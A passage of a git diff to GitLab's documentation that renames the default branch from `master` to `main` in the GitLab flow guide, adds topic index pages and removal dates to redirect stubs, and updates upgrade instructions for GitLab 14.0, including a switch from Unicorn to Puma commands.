If this is not possible because more manual testing is required, you can send merge requests from the feature branch to the downstream branches.
## Release branches with GitLab flow
@@ -117,15 +117,15 @@ If this is not possible because more manual testing is required, you can send me
You only need to work with release branches if you need to release software to the outside world.
In this case, each branch contains a minor version, such as `2-3-stable` or `2-4-stable`.
-Create stable branches using `master` as a starting point, and branch as late as possible.
+Create stable branches using `main` as a starting point, and branch as late as possible.
By doing this, you minimize the length of time during which you have to apply bug fixes to multiple branches.
After announcing a release branch, only add serious bug fixes to the branch.
-If possible, first merge these bug fixes into `master`, and then cherry-pick them into the release branch.
-If you start by merging into the release branch, you might forget to cherry-pick them into `master`, and then you'd encounter the same bug in subsequent releases.
-Merging into `master` and then cherry-picking into release is called an "upstream first" policy, which is also practiced by [Google](https://www.chromium.org/chromium-os/chromiumos-design-docs/upstream-first) and [Red Hat](https://www.redhat.com/en/blog/a-community-for-using-openstack-with-red-hat-rdo).
+If possible, first merge these bug fixes into `main`, and then cherry-pick them into the release branch.
+If you start by merging into the release branch, you might forget to cherry-pick them into `main`, and then you'd encounter the same bug in subsequent releases.
+Merging into `main` and then cherry-picking into release is called an "upstream first" policy, which is also practiced by [Google](https://www.chromium.org/chromium-os/chromiumos-design-docs/upstream-first) and [Red Hat](https://www.redhat.com/en/blog/a-community-for-using-openstack-with-red-hat-rdo).
Every time you include a bug fix in a release branch, increase the patch version (to comply with [Semantic Versioning](https://semver.org/)) by setting a new tag.
Some projects also have a stable branch that points to the same commit as the latest released branch.
-In this flow, it is not common to have a production branch (or Git flow `master` branch).
+In this flow, it is not common to have a production branch (or Git flow `main` branch).
## Merge/pull requests with GitLab flow
@@ -151,8 +151,9 @@ Also, mention any other people from whom you would like feedback.
After the assigned person feels comfortable with the result, they can merge the branch.
If the assigned person does not feel comfortable, they can request more changes or close the merge request without merging.
-In GitLab, it is common to protect the long-lived branches, such as the `master` branch, so [most developers can't modify them](../user/permissions.md).
-So, if you want to merge into a protected branch, assign your merge request to someone with maintainer permissions.
+In GitLab, it is common to protect the long-lived branches, such as the `main` branch, so [most developers can't modify them](../user/permissions.md).
+So, if you want to merge into a protected branch, assign your merge request to someone with the
+[Maintainer role](../user/permissions.md).
After you merge a feature branch, you should remove it from the source control software.
In GitLab, you can do this when merging.
@@ -178,7 +179,7 @@ In many organizations, raising an issue is part of the development process becau
The issue title should describe the desired state of the system.
For example, the issue title "As an administrator, I want to remove users without receiving an error" is better than "Administrators can't remove users."
-When you are ready to code, create a branch for the issue from the `master` branch.
+When you are ready to code, create a branch for the issue from the `main` branch.
This branch is the place for any work related to this change.
NOTE:
@@ -188,11 +189,11 @@ When you are done or want to discuss the code, open a merge request.
A merge request is an online place to discuss the change and review the code.
If you open the merge request but do not assign it to anyone, it is a [draft merge request](../user/project/merge_requests/drafts.md).
-These are used to discuss the proposed implementation but are not ready for inclusion in the `master` branch yet.
+These are used to discuss the proposed implementation but are not ready for inclusion in the `main` branch yet.
Start the title of the merge request with `[Draft]`, `Draft:` or `(Draft)` to prevent it from being merged before it's ready.
When you think the code is ready, assign the merge request to a reviewer.
-The reviewer can merge the changes when they think the code is ready for inclusion in the `master` branch.
+The reviewer can merge the changes when they think the code is ready for inclusion in the `main` branch.
When they press the merge button, GitLab merges the code and creates a merge commit that makes this event visible later on.
Merge requests always create a merge commit, even when the branch could be merged without one.
This merge strategy is called "no fast-forward" in Git.
@@ -247,18 +248,18 @@ Git does not allow you to merge the code again otherwise.
Having lots of merge commits can make your repository history messy.
Therefore, you should try to avoid merge commits in feature branches.
-Often, people avoid merge commits by just using rebase to reorder their commits after the commits on the `master` branch.
-Using rebase prevents a merge commit when merging `master` into your feature branch, and it creates a neat linear history.
+Often, people avoid merge commits by just using rebase to reorder their commits after the commits on the `main` branch.
+Using rebase prevents a merge commit when merging `main` into your feature branch, and it creates a neat linear history.
However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should avoid rebasing commits in a feature branch that you're sharing with others.
Rebasing could create more work, as every time you rebase, you may need to resolve the same conflicts.
Sometimes you can reuse recorded resolutions (`rerere`), but merging is better, because you only have to resolve conflicts once.
Atlassian has a more thorough explanation of the tradeoffs between merging and rebasing [on their blog](https://www.atlassian.com/blog/git/git-team-workflows-merge-or-rebase).
-A good way to prevent creating many merge commits is to not frequently merge `master` into the feature branch.
-There are three reasons to merge in `master`: utilizing new code, resolving merge conflicts, and updating long-running branches.
+A good way to prevent creating many merge commits is to not frequently merge `main` into the feature branch.
+There are three reasons to merge in `main`: utilizing new code, resolving merge conflicts, and updating long-running branches.
-If you need to use some code that was introduced in `master` after you created the feature branch, you can often solve this by just cherry-picking a commit.
+If you need to use some code that was introduced in `main` after you created the feature branch, you can often solve this by just cherry-picking a commit.
If your feature branch has a merge conflict, creating a merge commit is a standard way of solving this.
@@ -272,9 +273,9 @@ Most feature branches should take less than one day of work.
If your feature branches often take more than a day of work, try to split your features into smaller units of work.
If you need to keep a feature branch open for more than a day, there are a few strategies to keep it up-to-date.
-One option is to use continuous integration (CI) to merge in `master` at the start of the day.
+One option is to use continuous integration (CI) to merge in `main` at the start of the day.
Another option is to only merge in from well-defined points in time, for example, a tagged release.
-You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggle.html) to hide incomplete features so you can still merge back into `master` every day.
+You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggle.html) to hide incomplete features so you can still merge back into `main` every day.
NOTE:
Don't confuse automatic branch testing with continuous integration.
@@ -327,26 +328,26 @@ Issue: gitlab.com/gitlab-org/gitlab/-/issues/1
![Merge requests showing the test states: red, yellow, and green](img/gitlab_flow_ci_mr.png)
-In old workflows, the continuous integration (CI) server commonly ran tests on the `master` branch only.
-Developers had to ensure their code did not break the `master` branch.
-When using GitLab flow, developers create their branches from this `master` branch, so it is essential that it never breaks.
+In old workflows, the continuous integration (CI) server commonly ran tests on the `main` branch only.
+Developers had to ensure their code did not break the `main` branch.
+When using GitLab flow, developers create their branches from this `main` branch, so it is essential that it never breaks.
Therefore, each merge request must be tested before it is accepted.
CI software like Travis CI and GitLab CI/CD show the build results right in the merge request itself to simplify the process.
There is one drawback to testing merge requests: the CI server only tests the feature branch itself, not the merged result.
-Ideally, the server could also test the `master` branch after each change.
-However, retesting on every commit to `master` is computationally expensive and means you are more frequently waiting for test results.
+Ideally, the server could also test the `main` branch after each change.
+However, retesting on every commit to `main` is computationally expensive and means you are more frequently waiting for test results.
Because feature branches should be short-lived, testing just the branch is an acceptable risk.
-If new commits in `master` cause merge conflicts with the feature branch, merge `master` back into the branch to make the CI server re-run the tests.
+If new commits in `main` cause merge conflicts with the feature branch, merge `main` back into the branch to make the CI server re-run the tests.
As said before, if you often have feature branches that last for more than a few days, you should make your issues smaller.
## Working with feature branches
![Shell output showing git pull output](img/gitlab_flow_git_pull.png)
-When creating a feature branch, always branch from an up-to-date `master`.
+When creating a feature branch, always branch from an up-to-date `main`.
If you know before you start that your work depends on another branch, you can also branch from there.
If you need to merge in another branch after starting, explain the reason in the merge commit.
-If you have not pushed your commits to a shared location yet, you can also incorporate changes by rebasing on `master` or another feature branch.
+If you have not pushed your commits to a shared location yet, you can also incorporate changes by rebasing on `main` or another feature branch.
Do not merge from upstream again if your code can work and merge cleanly without doing so.
-Merging only when needed prevents creating merge commits in your feature branch that later end up littering the `master` history.
+Merging only when needed prevents creating merge commits in your feature branch that later end up littering the `main` history.
diff --git a/doc/topics/plan_and_track.md b/doc/topics/plan_and_track.md
new file mode 100644
index 00000000000..662898e88fc
--- /dev/null
+++ b/doc/topics/plan_and_track.md
@@ -0,0 +1,28 @@
+---
+stage:
+group:
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Plan and track work **(FREE)**
+
+Plan your work by creating requirements, issues, and epics. Schedule work
+with milestones and track your team's time. Learn how to save time with
+quick actions, see how GitLab renders Markdown text, and learn how to
+use Git to interact with GitLab.
+
+- [Epics](../user/group/epics/index.md)
+- [Issues](../user/project/issues/index.md)
+- [Labels](../user/project/labels.md)
+- [Discussions](../user/discussions/index.md)
+- [Iterations](../user/group/iterations/index.md)
+- [Milestones](../user/project/milestones/index.md)
+- [Requirements](../user/project/requirements/index.md)
+- [Roadmaps](../user/group/roadmap/index.md)
+- [Time tracking](../user/project/time_tracking.md)
+- [Wikis](../user/project/wiki/index.md)
+- [Keyboard shortcuts](../user/shortcuts.md)
+- [Quick actions](../user/project/quick_actions.md)
+- [Markdown](../user/markdown.md)
+- [To-Do lists](../user/todos.md)
+- [Using Git](../topics/git/index.md)
diff --git a/doc/topics/release_your_application.md b/doc/topics/release_your_application.md
new file mode 100644
index 00000000000..31eb7705760
--- /dev/null
+++ b/doc/topics/release_your_application.md
@@ -0,0 +1,13 @@
+---
+stage:
+group:
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Release your application **(FREE)**
+
+Release your application internally or to the public. Use
+flags to release features incrementally.
+
+- [Releases](../user/project/releases/index.md)
+- [Feature flags](../operations/feature_flags.md)
diff --git a/doc/topics/set_up_organization.md b/doc/topics/set_up_organization.md
new file mode 100644
index 00000000000..d8b1ab59b9e
--- /dev/null
+++ b/doc/topics/set_up_organization.md
@@ -0,0 +1,16 @@
+---
+stage:
+group:
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Set up your organization **(FREE)**
+
+Configure your organization and its users. Determine user roles
+and give everyone access to the projects they need.
+
+- [Members](../user/project/members/index.md)
+- [Groups](../user/group/index.md)
+- [User account options](../user/profile/index.md)
+- [SSH keys](../ssh/README.md)
+- [GitLab.com settings](../user/gitlab_com/index.md)
diff --git a/doc/topics/use_gitlab.md b/doc/topics/use_gitlab.md
new file mode 100644
index 00000000000..f45dc91131c
--- /dev/null
+++ b/doc/topics/use_gitlab.md
@@ -0,0 +1,19 @@
+---
+stage:
+group:
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Use GitLab **(FREE)**
+
+Get to know the GitLab end-to-end workflow. Configure permissions,
+organize your work, create and secure your application, and analyze its performance. Report on team productivity throughout the process.
+
+- [Set up your organization](set_up_organization.md)
+- [Organize work with projects](../user/project/index.md)
+- [Plan and track work](plan_and_track.md)
+- [Build your application](build_your_application.md)
+- [Secure your application](../user/application_security/index.md)
+- [Release your application](release_your_application.md)
+- [Monitor application performance](../operations/index.md)
+- [Analyze GitLab usage](../user/analytics/index.md)
diff --git a/doc/university/README.md b/doc/university/README.md
index bf2e7c91918..573daab2333 100644
--- a/doc/university/README.md
+++ b/doc/university/README.md
@@ -1,5 +1,6 @@
---
redirect_to: '../topics/index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](../topics/index.md).
diff --git a/doc/university/index.md b/doc/university/index.md
index 60d012485de..559f836a2a2 100644
--- a/doc/university/index.md
+++ b/doc/university/index.md
@@ -1,5 +1,6 @@
---
redirect_to: '../topics/index.md'
+remove_date: '2021-08-13'
---
This document was removed. See our [topics](../topics/index.md) for similar content.
diff --git a/doc/university/training/gitlab_flow.md b/doc/university/training/gitlab_flow.md
index bdc97ff8d28..d38e39fcfe2 100644
--- a/doc/university/training/gitlab_flow.md
+++ b/doc/university/training/gitlab_flow.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../topics/gitlab_flow.md'
+remove_date: '2021-05-16'
---
This document was moved to [another location](../../topics/gitlab_flow.md).
diff --git a/doc/university/training/index.md b/doc/university/training/index.md
index 02709314708..6d99c750d13 100644
--- a/doc/university/training/index.md
+++ b/doc/university/training/index.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../topics/index.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../topics/index.md).
diff --git a/doc/university/training/topics/agile_git.md b/doc/university/training/topics/agile_git.md
index f912f92fad2..00ff778a241 100644
--- a/doc/university/training/topics/agile_git.md
+++ b/doc/university/training/topics/agile_git.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../user/project/issue_board.md'
+remove_date: '2021-07-23'
---
Information about using Agile concepts in GitLab can be found in [another location](../../../user/project/issue_board.md).
diff --git a/doc/university/training/topics/bisect.md b/doc/university/training/topics/bisect.md
index 9c06f0b407d..64291a8194b 100644
--- a/doc/university/training/topics/bisect.md
+++ b/doc/university/training/topics/bisect.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/bisect.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/bisect.md).
diff --git a/doc/university/training/topics/cherry_picking.md b/doc/university/training/topics/cherry_picking.md
index f0f815baa94..3e278b2c199 100644
--- a/doc/university/training/topics/cherry_picking.md
+++ b/doc/university/training/topics/cherry_picking.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/cherry_picking.md'
+remove_date: '2021-06-01'
---
This document was moved to [another location](../../../topics/git/cherry_picking.md).
diff --git a/doc/university/training/topics/env_setup.md b/doc/university/training/topics/env_setup.md
index 2fd0a6762e2..4df0556c151 100644
--- a/doc/university/training/topics/env_setup.md
+++ b/doc/university/training/topics/env_setup.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/index.md'
+remove_date: '2021-08-13'
---
This document was removed. See our [topics](../../../topics/index.md) for similar content.
diff --git a/doc/university/training/topics/feature_branching.md b/doc/university/training/topics/feature_branching.md
index 495462cdd00..94a2d0cdc69 100644
--- a/doc/university/training/topics/feature_branching.md
+++ b/doc/university/training/topics/feature_branching.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/feature_branching.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/feature_branching.md).
diff --git a/doc/university/training/topics/getting_started.md b/doc/university/training/topics/getting_started.md
index 3dc3902c2e3..3e6fab73596 100644
--- a/doc/university/training/topics/getting_started.md
+++ b/doc/university/training/topics/getting_started.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/getting_started.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/getting_started.md).
diff --git a/doc/university/training/topics/git_add.md b/doc/university/training/topics/git_add.md
index aa5e756995f..d7a5ce8dd6a 100644
--- a/doc/university/training/topics/git_add.md
+++ b/doc/university/training/topics/git_add.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/git_add.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/git_add.md).
diff --git a/doc/university/training/topics/git_intro.md b/doc/university/training/topics/git_intro.md
index 2fd0a6762e2..4df0556c151 100644
--- a/doc/university/training/topics/git_intro.md
+++ b/doc/university/training/topics/git_intro.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/index.md'
+remove_date: '2021-08-13'
---
This document was removed. See our [topics](../../../topics/index.md) for similar content.
diff --git a/doc/university/training/topics/git_log.md b/doc/university/training/topics/git_log.md
index 1af8abb0782..26f02cb8b17 100644
--- a/doc/university/training/topics/git_log.md
+++ b/doc/university/training/topics/git_log.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/git_log.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/git_log.md).
diff --git a/doc/university/training/topics/merge_conflicts.md b/doc/university/training/topics/merge_conflicts.md
index d76d297803f..f4f12a17dbd 100644
--- a/doc/university/training/topics/merge_conflicts.md
+++ b/doc/university/training/topics/merge_conflicts.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/merge_conflicts.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/merge_conflicts.md).
diff --git a/doc/university/training/topics/merge_requests.md b/doc/university/training/topics/merge_requests.md
index 80ead103fdd..1ed6fe6d273 100644
--- a/doc/university/training/topics/merge_requests.md
+++ b/doc/university/training/topics/merge_requests.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../user/project/merge_requests/index.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../user/project/merge_requests/index.md).
diff --git a/doc/university/training/topics/rollback_commits.md b/doc/university/training/topics/rollback_commits.md
index b87aa12b834..38d4ac493dd 100644
--- a/doc/university/training/topics/rollback_commits.md
+++ b/doc/university/training/topics/rollback_commits.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/rollback_commits.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/rollback_commits.md).
diff --git a/doc/university/training/topics/stash.md b/doc/university/training/topics/stash.md
index ea9ba6a7bcc..b053c459cb0 100644
--- a/doc/university/training/topics/stash.md
+++ b/doc/university/training/topics/stash.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/stash.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/stash.md).
diff --git a/doc/university/training/topics/subtree.md b/doc/university/training/topics/subtree.md
index 5090ff8ca36..a1c1c00baaa 100644
--- a/doc/university/training/topics/subtree.md
+++ b/doc/university/training/topics/subtree.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/subtree.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/subtree.md).
diff --git a/doc/university/training/topics/tags.md b/doc/university/training/topics/tags.md
index 28fd8400d99..53250e3540a 100644
--- a/doc/university/training/topics/tags.md
+++ b/doc/university/training/topics/tags.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/tags.md'
+remove_date: '2021-06-01'
---
This document was moved to [another location](../../../topics/git/tags.md).
diff --git a/doc/university/training/topics/unstage.md b/doc/university/training/topics/unstage.md
index 13c21f5cbb2..c64f5be96e7 100644
--- a/doc/university/training/topics/unstage.md
+++ b/doc/university/training/topics/unstage.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../topics/git/unstage.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../topics/git/unstage.md).
diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md
index fa870b151b2..a19f9b6b6b3 100644
--- a/doc/university/training/user_training.md
+++ b/doc/university/training/user_training.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../topics/index.md'
+remove_date: '2021-08-13'
---
This document was removed. See our [topics](../../topics/index.md) for similar content.
diff --git a/doc/update/README.md b/doc/update/README.md
index c815842480c..488d86f129d 100644
--- a/doc/update/README.md
+++ b/doc/update/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/update/index.md b/doc/update/index.md
index 4c4dfe79d03..2ac22631289 100644
--- a/doc/update/index.md
+++ b/doc/update/index.md
@@ -53,7 +53,7 @@ have since switched to using a single document. The old upgrading guidelines
can still be found in the Git repository:
- [Old upgrading guidelines for Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/tree/11-8-stable/doc/update)
-- [Old upgrading guidelines for Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/tree/11-8-stable-ee/doc/update)
+- [Old upgrading guidelines for Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/-/tree/11-8-stable-ee/doc/update)
### Installation using Docker
@@ -194,7 +194,7 @@ Find where your version sits in the upgrade path below, and upgrade GitLab
accordingly, while also consulting the
[version-specific upgrade instructions](#version-specific-upgrading-instructions):
-`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.Y.Z`](https://about.gitlab.com/releases/categories/releases/)
+`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.12.Z`](https://about.gitlab.com/releases/categories/releases/) -> [latest `14.0.Z`](https://about.gitlab.com/releases/categories/releases/)
The following table, while not exhaustive, shows some examples of the supported
upgrade paths.
@@ -342,10 +342,10 @@ possible.
## Version-specific upgrading instructions
-Each month, a major or minor release of GitLab is published along with a
+Each month, major, minor or patch releases of GitLab are published along with a
[release post](https://about.gitlab.com/releases/categories/releases/).
-You should check all the major and minor versions you're passing over.
-At the end of those release posts, there are three sections to look for:
+You should read the release posts for all versions you're passing over.
+At the end of major and minor release posts, there are three sections to look for specifically:
- Deprecations
- Removals
@@ -369,6 +369,16 @@ NOTE:
Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/)
and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches.
+### 14.0.0
+
+In GitLab 13.3 some [pipeline processing methods were deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/218536)
+and this code was completely removed in GitLab 14.0. If you plan to upgrade from
+**GitLab 13.2 or older** directly to 14.0, you should not have any pipelines running
+when you upgrade. The pipelines might report the wrong status when the upgrade completes.
+You should shut down GitLab and wait for all pipelines on runners to complete, then upgrade
+GitLab to 14.0. Alternatively, you can first upgrade GitLab to a version between 13.3 and
+13.12, then upgrade to 14.0.
+
### 13.11.0
Git 2.31.x and later is required. We recommend you use the
diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md
index cbe2381e8db..92337f279d6 100644
--- a/doc/update/mysql_to_postgresql.md
+++ b/doc/update/mysql_to_postgresql.md
@@ -91,10 +91,10 @@ need to enable the bundled PostgreSQL:
1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
for the changes to take effect.
-1. Start Unicorn and PostgreSQL so that we can prepare the schema:
+1. Start Puma and PostgreSQL so that we can prepare the schema:
```shell
- sudo gitlab-ctl start unicorn
+ sudo gitlab-ctl start puma
sudo gitlab-ctl start postgresql
```
@@ -104,10 +104,10 @@ need to enable the bundled PostgreSQL:
sudo gitlab-rake db:create db:migrate
```
-1. Stop Unicorn to prevent other database access from interfering with the loading of data:
+1. Stop Puma to prevent other database access from interfering with the loading of data:
```shell
- sudo gitlab-ctl stop unicorn
+ sudo gitlab-ctl stop puma
```
After these steps, you have a fresh PostgreSQL database with up-to-date schema.
diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md
index ce0ba46b518..e50bc1610ab 100644
--- a/doc/update/patch_versions.md
+++ b/doc/update/patch_versions.md
@@ -9,7 +9,7 @@ comments: false
## Select Version to Install
-Make sure you view [this update guide](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/update/patch_versions.md) from the tag (version) of GitLab you would like to install.
+Make sure you view [this update guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/update/patch_versions.md) from the tag (version) of GitLab you would like to install.
In most cases this should be the highest numbered production tag (without `rc` in it).
You can select the tag in the version dropdown in the top left corner of GitLab (below the menu bar).
diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md
index 50d169917ba..93c9432f6d3 100644
--- a/doc/update/upgrading_from_ce_to_ee.md
+++ b/doc/update/upgrading_from_ce_to_ee.md
@@ -11,7 +11,7 @@ NOTE:
In the past we used separate documents for upgrading from
Community Edition to Enterprise Edition. These documents can be found in the
[`doc/update` directory of Enterprise Edition's source
-code](https://gitlab.com/gitlab-org/gitlab/tree/11-8-stable-ee/doc/update).
+code](https://gitlab.com/gitlab-org/gitlab/-/tree/11-8-stable-ee/doc/update).
If you want to upgrade the version only, for example 11.8 to 11.9, *without* changing the
GitLab edition you are using (Community or Enterprise), see the
diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md
index 93d2c2cb288..39e25fc11e7 100644
--- a/doc/update/upgrading_from_source.md
+++ b/doc/update/upgrading_from_source.md
@@ -82,7 +82,7 @@ sudo make install
### 4. Update Node.js
-To check the minimum required Node.js version, see [Node.js versions](../install/requirements.md#nodejs-versions).
+To check the minimum required Node.js version, see [Node.js versions](../install/installation.md#software-requirements).
GitLab also requires the use of Yarn `>= v1.10.0` to manage JavaScript
dependencies.
@@ -99,7 +99,7 @@ More information can be found on the [Yarn website](https://classic.yarnpkg.com/
### 5. Update Go
-To check the minimum required Go version, see [Go versions](../install/requirements.md#go-versions).
+To check the minimum required Go version, see [Go versions](../install/installation.md#software-requirements).
You can check which version you are running with `go version`.
@@ -119,12 +119,8 @@ rm go1.13.5.linux-amd64.tar.gz
### 6. Update Git
-WARNING:
-From GitLab 13.1, you must use at least Git v2.24 (previous minimum version was v2.22).
-Git v2.28 is recommended.
-
To check you are running the minimum required Git version, see
-[Git versions](../install/requirements.md#git-versions).
+[Git versions](../install/installation.md#software-requirements).
From GitLab 13.6, we recommend you use the [Git version provided by
Gitaly](https://gitlab.com/gitlab-org/gitaly/-/issues/2729)
@@ -153,7 +149,7 @@ Remember to set `git -> bin_path` to `/usr/local/bin/git` in `config/gitlab.yml`
### 7. Update PostgreSQL
WARNING:
-From GitLab 13.0, you must use at least PostgreSQL 11.
+From GitLab 14.0, you must use at least PostgreSQL 12.
The latest version of GitLab might depend on a more recent PostgreSQL version
than what you're currently running. You may also need to enable some
@@ -193,7 +189,7 @@ sudo -u git -H git checkout BRANCH-ee
#### New configuration options for `gitlab.yml`
-There might be configuration options available for [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)).
+There might be configuration options available for [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)).
View them with the command below and apply them manually to your current `gitlab.yml`:
```shell
@@ -223,7 +219,7 @@ longer handles setting it.
If you are using Apache instead of NGINX see the updated [Apache templates](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache).
Also note that because Apache does not support upstreams behind Unix sockets you
must let GitLab Workhorse listen on a TCP port. You can do this
-via [`/etc/default/gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/init.d/gitlab.default.example#L38).
+via [`/etc/default/gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/init.d/gitlab.default.example#L38).
#### SMTP configuration
@@ -234,12 +230,12 @@ add the following line to `config/initializers/smtp_settings.rb`:
ActionMailer::Base.delivery_method = :smtp
```
-See [`smtp_settings.rb.sample`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/initializers/smtp_settings.rb.sample#L13) as an example.
+See [`smtp_settings.rb.sample`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/smtp_settings.rb.sample#L13) as an example.
#### Init script
There might be new configuration options available for
-[`gitlab.default.example`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/init.d/gitlab.default.example).
+[`gitlab.default.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/init.d/gitlab.default.example).
View them with the command below and apply them manually to your current `/etc/default/gitlab`:
```shell
diff --git a/doc/update/upgrading_postgresql_using_slony.md b/doc/update/upgrading_postgresql_using_slony.md
index 2cddaa5da8b..3e977749207 100644
--- a/doc/update/upgrading_postgresql_using_slony.md
+++ b/doc/update/upgrading_postgresql_using_slony.md
@@ -371,7 +371,7 @@ First, let's stop all of GitLab. Omnibus users can do so by running the
following on their GitLab servers:
```shell
-sudo gitlab-ctl stop unicorn
+sudo gitlab-ctl stop puma
sudo gitlab-ctl stop sidekiq
sudo gitlab-ctl stop mailroom
```
diff --git a/doc/user/abuse_reports.md b/doc/user/abuse_reports.md
index 66b7c3c6ac7..c84c3541366 100644
--- a/doc/user/abuse_reports.md
+++ b/doc/user/abuse_reports.md
@@ -1,5 +1,6 @@
---
redirect_to: 'report_abuse.md'
+remove_date: '2021-07-21'
---
This file was moved to [another location](report_abuse.md).
diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md
index 5424d4d2cb4..4bfa277fc9f 100644
--- a/doc/user/admin_area/abuse_reports.md
+++ b/doc/user/admin_area/abuse_reports.md
@@ -1,5 +1,6 @@
---
redirect_to: 'review_abuse_reports.md'
+remove_date: '2021-07-21'
---
This file was moved to [another location](review_abuse_reports.md).
diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md
index cafc7caf981..e89c42b34ba 100644
--- a/doc/user/admin_area/activating_deactivating_users.md
+++ b/doc/user/admin_area/activating_deactivating_users.md
@@ -1,5 +1,6 @@
---
redirect_to: 'moderate_users.md'
+remove_date: '2021-08-12'
---
This document was moved to [another location](moderate_users.md).
diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md
index b13faf2bb3e..6ca5e5034bf 100644
--- a/doc/user/admin_area/analytics/dev_ops_report.md
+++ b/doc/user/admin_area/analytics/dev_ops_report.md
@@ -1,21 +1,23 @@
---
-stage: none
-group: unassigned
+stage: Manage
+group: Optimize
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# DevOps Report
+# DevOps Report **(FREE SELF)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3.
-> - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6.
+> [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6.
The DevOps Report gives you an overview of your entire instance's adoption of
[Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/)
from planning to monitoring.
-To see DevOps Report, go to **Admin Area > Analytics > DevOps Report**.
+To see DevOps Report:
-## DevOps Score **(FREE)**
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Analytics > DevOps Report**.
+
+## DevOps Score
NOTE:
